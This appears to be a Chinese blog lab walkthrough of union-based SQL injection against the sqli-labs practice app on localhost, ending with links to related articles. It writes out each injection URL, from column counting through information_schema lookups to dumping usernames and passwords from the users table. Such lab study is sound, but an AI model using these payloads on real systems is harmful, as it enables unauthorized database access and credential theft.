sql注入

一,实验环境需求

MySQL8.0.23
PHP 5.3.29
sqli
Apache2.4.39
FTP

 二,实验步骤

第一步
通过在 id=1 后加入一个闭合符号 ' ,如果报错,再在后面加上 -- qwe 将后面注释掉,如果不报错,则证 明为字符型。命令如下:
http : //127.0.0.1/sqli-labs-master/Less-1/?id=1' -- qwe
第二步
通过 order by 查询字段数
逐级增加 order by 后面的数字,直到报错。如果逐级增加到n个字段后报错,那么证明这个字段有n-1个
http : //127.0.0.1/sqli-labs-master/Less-1/?id=1' order by n -- qwe
第三步
使用select 查询语句
select 查询前三个字段,目的是为了知道哪几个字段在前端显示,这样我们可以将想要查询的数
据将前端显示的字段替换掉, 注意前面的id=1 要改为 id=-1 ,目的是为了让前面的查询语句不执行,这样我们后面查询的 version() 才能够 显示出来。
http : //127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 -- qwe
http : //127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,version(),3 -- qw
第四步
查询数据库
查询当前所使用的数据库,为的是后期查询表名。
http : //127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3 -- qwe
第五步
information_schema
mysql5.0 以上的版本有 information_schema 库, information_schema 库中有我们所需要的表名与库
名。我们先查询 security 数据库中的所有表的名字,并以一行输出的方式输出,因为如果不一行输
出的话,前端只会显示查询的第一个表名
http : //127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- qwe
第六步
查询 password username
现在我们知道了 security 数据库中的所有表名,我们需要查询 password username ,一般情况下这些数据都会存储到users 中,所以现在查询 users 这个表中的所有字段的名字是什么。
http : //127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- qwe
第七步
username password 的具体数据
http : //127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2 unionselect 1,group_concat(username),group_concat(password) from users --+

相关推荐

  1. <span style='color:red;'>sql</span><span style='color:red;'>注入</span>

    sql注入

    2024-02-01 03:38:01      30 阅读
  2. <span style='color:red;'>SQL</span><span style='color:red;'>注入</span>

    SQL注入

    2024-02-01 03:38:01      33 阅读
  3. SQL注入

    2024-02-01 03:38:01       17 阅读
  4. <span style='color:red;'>SQL</span><span style='color:red;'>注入</span>

    SQL注入

    2024-02-01 03:38:01      13 阅读
  5. SQL 注入攻击 - insert注入

    2024-02-01 03:38:01       27 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-02-01 03:38:01       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-02-01 03:38:01       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-02-01 03:38:01       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-02-01 03:38:01       18 阅读

热门阅读

  1. 分享几个好用的前端网站

    2024-02-01 03:38:01       45 阅读
  2. 【python】积分

    2024-02-01 03:38:01       47 阅读
  3. MicroPython核心:用C扩展MicroPython

    2024-02-01 03:38:01       34 阅读
  4. 得物开放平台接入得物SDK

    2024-02-01 03:38:01       31 阅读
  5. Vue3中的watch函数使用

    2024-02-01 03:38:01       35 阅读
  6. 【前端】日期转换

    2024-02-01 03:38:01       31 阅读